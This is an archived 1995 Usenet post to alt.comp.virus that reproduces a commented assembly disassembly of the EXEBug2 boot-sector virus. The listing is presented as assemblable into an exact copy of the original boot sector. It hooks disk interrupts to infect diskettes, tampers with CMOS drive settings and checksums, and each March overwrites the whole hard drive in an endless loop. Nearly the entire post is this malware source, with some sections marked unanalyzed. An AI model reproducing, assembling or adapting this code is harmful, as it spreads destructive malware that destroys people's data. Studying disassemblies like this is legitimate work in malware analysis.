home *** CD-ROM | disk | FTP | other *** search
-
- Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!news.bluesky.net!news.sprintlink.net!uunet!ankh.iia.org!danishm
- From: danishm@iia.org ()
- Newsgroups: alt.comp.virus
- Subject: EXEBug
- Date: 5 Feb 1995 22:08:52 GMT
- Organization: International Internet Association.
- Lines: 641
- Message-ID: <3h3i9k$v4@ankh.iia.org>
- NNTP-Posting-Host: iia.org
- X-Newsreader: TIN [version 1.2 PL2]
-
- Here is the EXEBug virus:
-
- ;-------------------------------------------------------------------------
- .286p ; The EXEBUG2 Virus. This virus
- .model tiny ; infects diskette boot sectors and
- .code ; activates in March of any year,
- ; destroying the hard drive. It
- ORG 0100h ; contains instructions for 80286+
- ; processors.
- ;---------------------------------------;---------------------------------
- ; As of Apr 21st, this disassembly is ; Disassembled with Master Core
- ; incomplete, as the test computer uses ; Disassembler: IQ Software
- ; Disk Manager and can not be infected. ; Analyzed with Quaid Analyzer:
- ; ; Quaid Software Ltd.
- ;-------------------------------------------------------------------------
- ; We are using an origin of 100h, so that this can be assembled with TASM
- ; and linked with tlink /t. You will have a 512 byte .COM file which is
- ; a byte-for-byte duplicate of the original boot sector. Note that 100h
- ; must be subtracted from many of the offsets.
- ;-------------------------------------------------------------------------
- ;Offset Opcode |Comment
- ;---------------------------------
- Boot_Start: ;00100 EB1C
- ;---------------------------------
- JMP Short Change_RAM ; Boot sectors always begin with
- ; a long jump (E9 XX XX) or a short
- ; jump (EB XX 90)
- ;---------------------------------
- NOP ;00102 90 |NOP for short jump
- ;---------------------------------------; |
- ; Data in Code Area ; |
- ;---------------------------------------; |
- OEM DB "MSDOS5.0" ;00103 4D53444F|OEM name
- Byt_Sec DW 0200h ;0010B 0002 |Bytes per sector
- Sct_AlU DB 02h ;0010D 02 |Sectors per
- ; | allocation unit
- RsvdSct DW 0001h ;0010E 0100 |Reserved sectors
- NumFATs DB 02h ;00110 02 |Number of FATs
- RootSiz DW 0070h ;00111 7000 |Number of root dir
- ; | entries (112)
- TotSect DW 02D0h ;00113 D002 |Total sectors in
- ; | volume (1440)
- MedDesc DB 0FDh ;00115 FD |Media descriptor
- ; | byte:
- ;---------------------------------
- ; F8 = hard disk
- ; F0 = 3½" 18 sector
- ; F9 = 3½" 9 sector
- ; F9 = 5¼" 15 sector
- ; FC = 5¼" SS 9 sector
- ; FD = 5¼" DS 9 sector
- ; FE = 5¼" SS 8 sector
- ; FF = 5¼: DS 8 sector
- ;---------------------------------
- FATSect DW 0002h ;00116 0200 |Sectors per FAT
- Sct_Trk DW 0009h ;00118 0900 |Sectors per track
- NumHead DW 0002h ;0011A 0200 |Number of heads
- aDrvNum DW 0000h ;0011C 0000 |Drive number (0=A:)
- ;---------------------------------------;---------------------------------
- ; |
- Change_RAM: ; |
- ; |
- XOR AX,AX ;0011E 33C0 |Zero register
- MOV DS,AX ;00120 8ED8 |DS = 0000
- MOV DI,AX ;00122 8BF8 |DI = 0000
- MOV SS,AX ;00124 8ED0 |SS = 0000
- MOV SP,7C00h ;00126 BC007C |SP = 7C00
- ;---------------------------------
- ; Get RAM size (usually 64*10 K)
- ; and put it in register AX.
- Get_RAM_Size: ;---------------------------------
- ; |
- MOV AX,Word Ptr DS:[0413h] ;00129 A11304 |0000:0413 holds
- ; | RAM size
- MOV CX,0106h ;0012C B90601 |This does two things:
- ; |it sets up a MOVSW,
- ; |and it puts a 6 in
- ; |CL for the SAL,CL
- DEC AX ;0012F 48 |Steal 1K of RAM
- ; | (decrease RAM size)
- MOV SI,SP ;00130 8BF4 |SI is 7C00. Use to
- ; | move boot sector
- ; | in Copy_Boot routine.
- ;---------------------------------
- ; RAM size is now 1K less; put it
- ; in DS:0413h (RAMsize)
- Put_RAM_Size: ;---------------------------------
- ; |
- MOV Word Ptr DS:[0413h],AX ;00132 A31304 |Put the new RAM
- ; | size back in [0413]
- SAL AX,CL ;00135 D3E0 |Convert to paragraphs
- ;-------------------------------------------------------------------------
- ; AX now holds the SEGMENT of the new Int 13 service routine at TOM - 1K.
- ; Next operation exchanges this with the old Int 13 segment stored at 0000:004E.
- ;-------------------------------------------------------------------------
- ; |
- MOV ES,AX ;00137 8EC0 |ES = new area SEGMENT
- PUSH AX ;00139 50 |Save SEGMENT address
- ; | on stack. Jump here
- ; | at offset 0152.
- XCHG AX,DS:[004Eh] ;0013A 87064E00|Exchange new and old
- ; | SEGMENTS
- ;---------------------------------
-
- MOV Word Ptr DS:[7C00h+offset I13_Seg - 100h],AX
-
- ;---------------------------------
- ;0013E A3B87C |This really should be:
- ; |[7C00h+offset I13_Seg],
- ; |but we use an ORG of
- ; |100h here.
- ; <Store old SEGMENT at 7CB8>
- ;---------------------------------
-
- MOV AX,offset New_Int13_ISR - 100h
-
- ;---------------------------------
- ;00141 B83201 |Likewise the offset
- ; |of the new Int 13
- ; |service routine is
- ; |decremented by 100h
- ;------------------------------------------------------------------------
- ; AX now holds the OFFSET of the new Int 13 service routine, which is
- ; in our code at offset 232h. Next operation exchanges this with the
- ; the offset stored at 0000:004C.
- ;------------------------------------------------------------------------
- ; |
- XCHG AX,DS:[004Ch] ;00144 87064C00|Exchange new and old
- ; | OFFSETS
- ;---------------------------------
-
- MOV Word Ptr DS:[7C00h+offset I13_Off - 100h],AX
-
- ;---------------------------------
- ;00148 A3B67C |Again, decrement by
- ; | 100h to compensate
- ; | for ORG 100h
- ; <Store old OFFSET at 7CB6>
- ;---------------------------------
-
- MOV AX,[offset Activation - 100h]
-
- ;---------------------------------
- ;0014B B89900 |Move offset of
- ; |Activation routine
- ; |to AX.
- PUSH AX ;0014E 50 |Push the Activation
- ; |address, and then
- ; |use that as the
- ; |OFFSET when we RETF
- ; |at offset 0152.
- Copy_Boot: ;---------------------------------
- ; |
- CLD ;0014F FC |movsb will increment
- ; |pointers cx=0106h
- ; |ds=0000h sp=7C00h
- ; |si=7C00h di=0000h
- ; |Repeat until Zero
- ; |Flag=0 or CX Times
- ; |
- REP MOVSW ;00150 F3A5 |MOVE DS:SI TO ES:DI
- ;---------------------------------
- ; Move virus up to the memory we have
- ; allocated, and set the INT handler.
- ;---------------------------------
- ; |
- RETF ;00152 CB |The segment and
- ; |offset of the
- ; |Activation routine
- ; |were pushed on the
- ; |stack previously, so
- ; |a RETF jumps there
- ; |(at top of memory)
- ;>>>>>>>>>>>>>>>|JUMP TO ACTIVATION
- ;---------------------------------------;---------------------------------
- ; |
- DB 04h ;00153 04 |
- Drive DB 20h ;00154 20 |CMOS drive type (AH),
- ; | is stored here.
- ChkSum DW 046Ch ;00155 6C04 |CMOS checksum (DX),
- ; | is stored here.
- Install DB 01h ;00157 01 |This byte is checked
- ; | at offset 294. It is
- ; | used for the value
- ; | of CX when the boot
- ; | record is written
- ; | (starting sector)
- ; | Values are 1 or 11h.
- ;-------------------------------------------------------------------------
- ; The code (or is it data?) below from offsets 0158 to 0198 is not analyzed,
- ; as I could not get an infection on the test computer.
- ;-------------------------------------------------------------------------
- SUB [BX+SI],CH ;00158 2828 |
- ADD [BX+DI],AL ;0015A 0001 |
- ADD AL,[BP+1Eh] ;0015C 02461E
- ; ADD AL,[BP+offset Change_RAM-100h]
- PUSH CX ;0015F 51 |
- MOV DL,65h ;00160 B265 |
- MOV DI,DX ;00162 8BFA |
- DEC AL ;00164 FEC8 |
- STOSW ;00166 AB |STORE Word STRING
- ; | FROM AX
- ADD DI,+04h ;00167 83C704 |
- XOR AL,0C0h ;0016A 34C0 |
- STOSW ;0016C AB |
- MOV CL,0Bh ;0016D B10B |cl=0Bh dl=65h
- REP STOSB ;0016F F3AA |STORE 0Bh Bytes
- ; | STRING FROM AL
- MOV CL,13h ;00171 B113 |
- MOV BH,03h ;00173 B703 |
- CALL $-170h ;00175 E88DFE |This calls offset
- ; |7B05 in this segment.
- MOV AH,13h ;00178 B413 |
- INT 2Fh ;0017A CD2F |Get & set DOS disk
- ; |int handler
- ; |ds:dx=new handler,
- ; |es:bx=old
- MOV CS:[01B8h],DS ;0017C 2E8C1E |
- ; B801 |
- ; |
- MOV CX,DX ;00181 8BCA |
- INT 2Fh ;00183 CD2F |Set it again
- MOV DS:[01B6h],CX ;00185 890EB601|
- CMP CL,32h ;00189 80F932 |
- JZ H0000_0198 ;0018C 740A |Return if CL=32h
- MOV CX,CS ;0018E 8CC9 |
- ADD CX,+10h ;00190 83C110 |
- PUSH CX ;00193 51 |
- MOV AX,00FDh ;00194 B8FD00 |
- PUSH AX ;00197 50 |
- ; |
- H0000_0198: ;---------------------------------
- ; |
- RETF ;00198 CB |
- ;---------------------------------------;---------------------------------
- ; |
- Activation: ; |
- ; |
- CALL Main_Routine ;00199 E86800 |
- MOV AH,04h ;0019C B404 |AH=4 (get date)
- INT 1Ah ;0019E CD1A |Get date
- ; |CX=year, DX=mon/day
- CMP DH,03h ;001A0 80FE03 |Is it month #3
- JZ Damage ;001A3 7402 |If it is March,
- ; | do damage
- INT 19h ;001A5 CD19 |Otherwise reboot
- ; | with virus resident
- ; | and Int 13 hooked
- ;---------------------------------------;---------------------------------
- ; Set up Int 13 call from the new
- Damage: ; ISR at I13_Seg:I13_Off.
- ;---------------------------------
- MOV AL,0FFh ;001A7 B0FF |
- OUT 21h,AL ;001A9 E621 |Turn off IRQs
- MOV DX,0080h ;001AB BA8000 |DH = head # (0),
- ; |DL = drive #
- ; | (+80 for hd)
- MOV CX,0101h ;001AE B90101 |CH = cylinder #,
- ; |CL = sector #
- Trash_HardDrive: ;---------------------------------
- ; |
- MOV AX,0311h ;001B1 B81103 |AH = function 03
- ; | (write sectors)
- ; |AL = # of sectors
- PUSHF ;001B4 9C |Push flags: normally
- ; | done prior to
- ; | interrupt.
- FarCall DB 9Ah ;001B5 9A |Call the Int 13
- ; | service routine
- I13_Off DW 0AB1Bh ;001B6 1BAB |(real) Int 13 offset
- I13_Seg DW 0F000h ;001B8 00F0 |(real) Int 13 segment
- INC DH ;001BA FEC6 |Next head
- AND DH,07h ;001BC 80E607 |Test bits 0-3 of DH,
- ; | clear 4-7
- JNZ Trash_HardDrive ;001BF 75F0 |If #head > 7
- ; |continue, else trash
- INC CH ;001C1 FEC5 |Next cylinder
- JNZ Trash_HardDrive ;001C3 75EC |If #cylinder > 255
- ; | continue, else keep
- ; | on trashing.
- ADD CL,40h ;001C5 80C140 |Set bits 6 and 7 of
- ; | CL, enabling the
- ; | entire drive to be
- ; | overwritten (or at
- ; |least 1024 cylinders)
- JMP Short Trash_HardDrive ;001C8 EBE7 |Only way out of this
- ; | is a disk error, or
- ; | power off.
- ;--------------------------------------------------------------------------
- ;At this point, it is important to
- Change_CMOS: ;know what the contents of DX is.
- ; CMOS checksums are stored at
- ; DS:0053 and DS:0055
- ;--------------------------------------------------------------------------
- MOV AL,10h ;001CA B010 |Diskette type
- CALL CMOS_Read_Write ;001CC E80700 | SET DISKETTE TYPE
- MOV AL,2Fh ;001CF B02F |Hi checksum byte
- CALL CMOS_Read_Write ;001D1 E80200 | SET CHECKSUM: set
- ; | to zero or restore
- MOV AL,2Eh ;001D4 B02E |Low checksum byte
- ; | SET CHECKSUM: set
- ; | to zero or restore
- CMOS_Read_Write: ;---------------------------------
- ; |
- OUT 70h,AL ;001D6 E670 |Tell CMOS address
- ; | to read (in AL)
- XCHG AH,DL ;001D8 86E2 |1st call: AH=DL=00
- ; |2nd call: AH=DL=00
- ; |3rd call: AH=20,DL=00
- ; |4th call: AH=5F,DL=00
- ; |5th call: AH=02,DL=5F
- ; |6th call: AH=00,DL=02
- ; |
- XCHG DL,DH ;001DA 86D6 |1st call: DH=DL=00
- ; |2nd call: DH=00,DL=20
- ; |3rd call: DH=00,DL=7F
- ; |4th call: DH=00,DL=02
- ; |5th call: DH=5F,DL=00
- ; |6th call: DH=02,DL=00
- ; |
- IN AL,71h ;001DC E471 |Read CMOS to AL
- ; |1st call: AL=20
- ; |2nd call: AL=7F
- ; |3rd call: AL=02
- ; |4th call: AL=00
- ; |5th call: AL=00
- ; |6th call: AL=00
- ; |
- XCHG DH,AL ;001DE 86F0 |Trade AL <-> DH
- ; |1st call: DH=20,AL=00
- ; |2nd call: DH=7F,AL=00
- ; |3rd call: DH=02,AL=00
- ; |4th call: DH=00,AL=00
- ; |5th call: DH=00,AL=5F
- ; |6th call: DH=00,AL=02
- ; |
- OUT 71h,AL ;001E0 E671 |Write contents of
- ; | AL to CMOS
- ; |1st call: AL=00
- ; |2nd call: AL=00
- ; |3rd call: AL=00
- ; |4th call: AL=00
- ; |5th call: AL=5F
- ; |6th call: AL=02
- ; |
- RET ;001E2 C3 |Return to Call_CMOS
- ;---------------------------------------;---------------------------------
- ; |
- Setup_Int13: ; |
- ; |
- MOV AX,0301h ;001E3 B80103 |Function #3: write
- ; | (1) sector
- Real_Int13_2: ;---------------------------------
- ; |
- CALL Restore_CMOS ;001E6 E80500 |Restore original CMOS
- PUSHF ;001E9 9C |Prepare for interrupt
- ;---------------------------------
- ;DO THE INTERRUPT 13
- CALL DWord Ptr DS:[I13_Off-100h] ;Subtract 100h from
- ; offset of old Int 13
- ;001EA FF1EB600| vector and then call
- ; | it as a DWord (i.e.
- ; | as Segment:Offset)
- ; | Standard Int 13
- ; | resets and repeats
- ; | 3 times if carry
- ; | flag not clear.
- Restore_CMOS: ;---------------------------------
- ; |
- CALL Xchg_Old_New ;001EE E80300 |
- CALL Change_CMOS ;001F1 E8D6FF |
- ; |
- Xchg_Old_New: ;---------------------------------
- ; |
- XCHG AX,DS:[0053h] ;001F4 87065300|
- XCHG DX,DS:[0055h] ;001F8 87165500|
- RET ;001FC C3 |
- ;---------------------------------------;---------------------------------
- ; |
- Jump_From_Boot: ; |
- ; |
- CALL Main_Routine ;001FD E80400 |
- ; CALL 0204h |
- ; |
- CALL Restore_CMOS ;00200 E8EBFF |Call 01EEh
- ;-------------------------------;---------------------------------
- ;RETF ; |This must be assembled
- ; |as DB 0CBh, otherwise
- DB 0CBh ;00203 CB |the assembler emits
- ; |CA CB 00.
- ;---------------------------------------;---------------------------------
- ; |Diddle CMOS. Read
- Main_Routine: ;00204 |boot with new Int13.
- ; |
- ;-------------------------------------------------------------------------
- ; |
- ; (64 Bytes) FFEEDDCC BBAA9988 77665544 33221100 |This is the original
- ; -------- -------- -------- -------- |CMOS setting.
- ; CMOS IS NOW: 00008050 02269303 28000016 00200027 |
- ; 00000000 0000310D 80028003 00F00020 <--|diskette drive(s) type
- ; Checksum --> 7F021A04 01000009 04000000 00000000 |Bits 7-4: drive 0
- ; is 7F02 00000001 01000000 00000000 80190D80 |Bits 3-0: drive 1
- ; | 0000b = no drive
- ; | 0001b = 360K
- ; | 0010b = 1.2 MB
- ; | 0011b = 720K
- ; | 0100b = 1.44 MB
- ; |so in this case there
- ; |is one 1.2 meg drive
- ; |and no 'B' drive
- ;-------------------------------------------------------------------------
- ; |Put address of
- CMOS_0: ; | hidden memory on
- PUSH CS ;00204 0E | stack and then pop
- POP DS ;00205 1F | it into DS.
- MOV ES,CX ;00206 8EC1 |Zero ES
- CALL Change_CMOS ;00208 E8BFFF |AX=0099,DX=0000
- ;-------------------------------------------------------------------------
- ;
- ; CMOS CHANGED: 00008050 02269303 28000017 00420002
- ; 00000000 0000310D 80028003 00F00000 <-NOTE CHANGE
- ; NOTE CHANGE-> 00001A04 01000009 04000000 00000000 No drive
- ; No checksum 00000001 01000000 00000000 80190D80
- ;
- ;-------------------------------------------------------------------------
- ; |Now the drive type
- CMOS_1: ; | and checksum are 00
- MOV AL,AH ;0020B 8AC4 |AX=2020
- AND AL,0F0h ;0020D 24F0 |AX=2020
- JZ Calc_ChkSum ;0020F 7408 |Is zero flag set?
- MOV DS:[0055h],DX ;00211 89165500|Store checksum in
- ; | DS:[0055]
- MOV DS:[0054h],AH ;00215 88265400|Store drive type
- ; | in DS:[0054]
- Calc_ChkSum: ;---------------------------------
- ; |
- AND AH,0Fh ;00219 80E40F |Clears high bits
- ; | AX=0020
- SUB DL,AL ;0021C 2AD0 |DX=025F
- SBB DH,00h ;0021E 80DE00 |DX=025F
- CALL Change_CMOS ;00221 E8A6FF |AX=0020, DX=025F
- ;-------------------------------------------------------------------------
- ;
- ; CMOS CHANGED: 00008050 02269303 28000018 00030041
- ; 00000000 0000310D 80028003 00F00000
- ; NOTE CHANGE-> 5F021A04 01000009 04000000 00000000
- ; 00000001 01000000 00000000 80190D80
- ;
- ;-------------------------------------------------------------------------
- ; |
- CMOS_2: ; |
- MOV DL,80h ;00224 B280 | DL = 80
- ; |
- Read_Boot: ;---------------------------------
- ; |
- MOV CX,0001h ;00226 B90100 | CX = 0001
- MOV DH,CH ;00229 8AF5 | DH = 00
- POP AX ;0022B 58 | Pop return offset
- PUSHF ;0022C 9C | Push flags
- PUSH CS ;0022D 0E | Save segment
- PUSH AX ;0022E 50 | Save offset
- MOV AX,0201h ;0022F B80102 | AX = 0201 (read
- ; | one sector)
- ;
- New_Int13_ISR: ;___ New Int 13 Service Routine ___
- ;
- CLD ;00232 FC |Clear direction flag
- PUSH DS ;00233 1E |
- PUSH SI ;00234 56 |
- PUSH DI ;00235 57 |Save some registers
- PUSH CX ;00236 51 |
- PUSH AX ;00237 50 |
- PUSH CS ;00238 0E |
- POP DS ;00239 1F |DS = CS
- CMP AH,03h ;0023A 80FC03 |Is it a function 3
- ; | (write disk) call?
- JNZ Real_Int13_1 ;0023D 7521 |No, so do real Int 13
- CMP Byte Ptr ES:[BX],4Dh ;0023F 26803F4D|Yes, but is ES:[BX]=4D?
- JNZ Real_Int13_1 ;00243 751B |No, so do real Int13
- OR AH,DL ;00245 0AE2 |Yes, but which drive?
- CMP CL,AH ;00247 3ACC |Is drive OK??
- JNZ Real_Int13_1 ;00249 7515 |No, so do real Int13
- MOV DI,BX ;0024B 8BFB |Yes, buffer is [4D]
- MOV SI,00A7h ;0024D BEA700 |
- MOV CX,01FEh ;00250 B9FE01 |Going to move 1FE words
- AND DL,DL ;00253 22D2 |Is it drive #0 (A:)?
- JNZ H0000_025E ;00255 7507 |No, so move 'em
- MOV SI,0002h ;00257 BE0200 |Yes, SI = 0002
- MOV AX,5CEBh ;0025A B8EB5C |Move value in AX
- STOSW ;0025D AB | to ES:[4D]
- ; |
- H0000_025E: ;---------------------------------
- ; |cx=01FEh,ds=0000h
- ; |si=0002h Move 1FE
- REP MOVSB ; | words from DS:SI
- ;0025E F3A4 | to ES:DI
- Real_Int13_1: ;---------------------------------
- ; |
- POP AX ;00260 58 |Restore registers
- POP CX ;00261 59 |
- POP DI ;00262 5F |
- MOV SI,AX ;00263 8BF0 |SI=function,subfn
- CALL Real_Int13_2 ;00265 E87EFF |When done go to
- ; | Return_here.
- Return_Here: ;---------------------------------
- ; |
- JB Int13_Error ;00268 721D |If Int 13 returned
- ; | error go to err rtn
- PUSH DI ;0026A 57 |Save registers
- PUSH AX ;0026B 50 |
- OR DH,DH ;0026C 0AF6 |Was drive A: target?
- JNZ Exit_Virus ;0026E 7514 |Yes, Exit_Virus
- CMP CX,+01h ;00270 83F901 |Was it a 1 sector
- ; | operation?
- JNZ Exit_Virus ;00273 750F |No, Exit_Virus
- MOV AX,SI ;00275 8BC6 |Restore Int 13
- ; | function, sub fn
- CMP AH,02h ;00277 80FC02 |Was it a read fn?
- JZ Int13_Read ;0027A 7410 |
- CMP AH,03h ;0027C 80FC03 |
- JNZ Exit_Virus ;0027F 7503 |
- ; |
- Read_New_Boot: ;---------------------------------
- ; |This pushes the
- CALL Read_Boot ;00281 E8A2FF | address of
- ; | Read_Boot on stack
- Exit_Virus: ;---------------------------------
- ; |
- CLC ;00284 F8 |
- POP AX ;00285 58 |Restore registers
- POP DI ;00286 5F |
- ; |
- Int13_Error: ;---------------------------------
- ; |
- POP SI ;00287 5E |
- POP DS ;00288 1F |
- RETF 0002h ;00289 CA0200 |Return to address
- ; | on stack. Discard
- ; | next two bytes on
- ; | stack. This
- ; | eventually gets us
- ; | to offset 19C (check
- ; | activation & reboot)
- ;---------------------------------------;---------------------------------
- Int13_Read: ; |
- ; |
- PUSH CX ;0028C 51 |Push # sectors
- CMP Byte Ptr ES:[BX+28h],7Ch;0028D 26807F |Compare [0000:7C28]
- ; 287C | with 7C. (Boot
- ; | record offset 28).
- JNZ Boot_Changed ;00292 750D |If no, then the
- ; | boot record changed.
- ;00294 268B8F |MOV CX,ES:[BX+0057h]
- ; 5700 |
- ;
- MOV CX,ES:[BX + word ptr Install - 100h] ;Move starting sector
- ; to CX
- MOV AL,01h ;00299 B001 |
- CALL Real_Int13_2 ;0029B E848FF |
- ; |
- HD_Exit: ;---------------------------------
- ; |
- POP CX ;0029E 59 |
- JMP Short Exit_Virus ;0029F EBE3 |
- ;---------------------------------------;---------------------------------
- Boot_Changed: ; |
- ; |
- PUSH DX ;002A1 52 |Save drive info
- MOV CL,11h ;002A2 B111 |CX=0011 (Changed)
- TEST DL,80h ;002A4 F6C280 |Is it a hard drive?
- JNZ Hard_Drive ;002A7 7534 |Yes, goto Hard_Drive
- MOV CH,28h ;002A9 B528 |
- CMP Byte Ptr ES:[BX+15h],0FCh;002AB 26807F |
- ; 15FC |
- JNB H0000_02B4 ;002B0 7302 |
- SAL CH,1 ;002B2 D0E5 |
- ; |
- H0000_02B4: ;---------------------------------
- ; | This code not
- PUSH ES ;002B4 06 | analyzed as of
- PUSH BX ;002B5 53 | April 21st.
- XOR AX,AX ;002B6 33C0 |
- MOV ES,AX ;002B8 8EC0 |
- LES BX,DWord Ptr ES:[0078h] ;002BA 26C41E |
- ; 7800 |
- ; |Load ES & operand
- ; | from memory
- PUSH ES ;002BF 06 |
- PUSH BX ;002C0 53 |
- INC AL ;002C1 FEC0 |
- MOV CL,AL ;002C3 8AC8 |
- XCHG CL,ES:[BX+04h] ;002C5 26864F04|
- MOV AH,05h ;002C9 B405 |
- MOV BX,0059h ;002CB BB5900 |
- MOV [BX],CH ;002CE 882F |
- PUSH CS ;002D0 0E |
- POP ES ;002D1 07 |
- CALL Real_Int13_2 ;002D2 E811FF |
- POP BX ;002D5 5B |
- POP ES ;002D6 07 |
- XCHG CL,ES:[BX+04h] ;002D7 26864F04|
- POP BX ;002DB 5B |
- POP ES ;002DC 07 |
- ; |
- Hard_Drive: ;---------------------------------
- ; |
- CALL Setup_Int13 ;002DD E803FF |Prepare for Write
- POP DX ;002E0 5A |Get drive info
- JB HD_Exit ;002E1 72BB |On error exit
- MOV DS:[0057h],CX ;002E3 890E5700|DS:[57]=11 (Changed)
- MOV Word Ptr ES:[BX],1CEBh ;002E7 26C707 |[0000:7C00] now holds
- ; EB1C | EB 1C.
- MOV SI,001Eh ;002EC BE1E00 |SI=001E
- ;-------------------------------;---------------------------------
- ;LEA DI,[BX+001Eh] ; |TASM will emit 8D7F1E
- ; |for this instruction,
- DB 8Dh,0BFh,1Eh,00h ;002EF 8DBF1E00|so assemble as DB's
- ; |BX=7C00 SI=001E
- ; |ES=0000 DI=7C1E
- ;-------------------------------;---------------------------------
- MOV CX,01E0h ;002F3 B9E001 |cx=01E0h si=001Eh
- REP MOVSB ;002F6 F3A4 |Move DS:SI to ES:DI
- ; |Restore boot record
- ; | from ofs 7C00:001E
- ; | Note initial jump
- ; | restored to EB 1C.
- POP CX ;002F8 59 |CX=number of sectors
- CALL Setup_Int13 ;002F9 E8E7FE |Write the new boot
- ; | record.
- JMP Short Read_New_Boot ;002FC EB83 |Read it and process.
- ;---------------------------------------;---------------------------------
- Boot_ID DW 0AA55h ;002FE 55AA |All valid boot
- ; | sectors end with
- ; | 55AA
- ENDS ;---------------------------------
- ; Disassembly by Arthur Ellis and ??
- END Boot_Start ; [Suggestions by Lucifer Messiah]
- ; April, 1993
- ;-------------------------------------------------------------------------
-
-
-
- --
- Eric "Mad Dog" Kilby maddog@ccs.neu.edu
- The Great Sporkeus Maximus ekilby@lynx.dac.neu.edu
- Student at the Northeatstern University College of Computer Science
- "I Can't Believe It's Not Butter"
-
-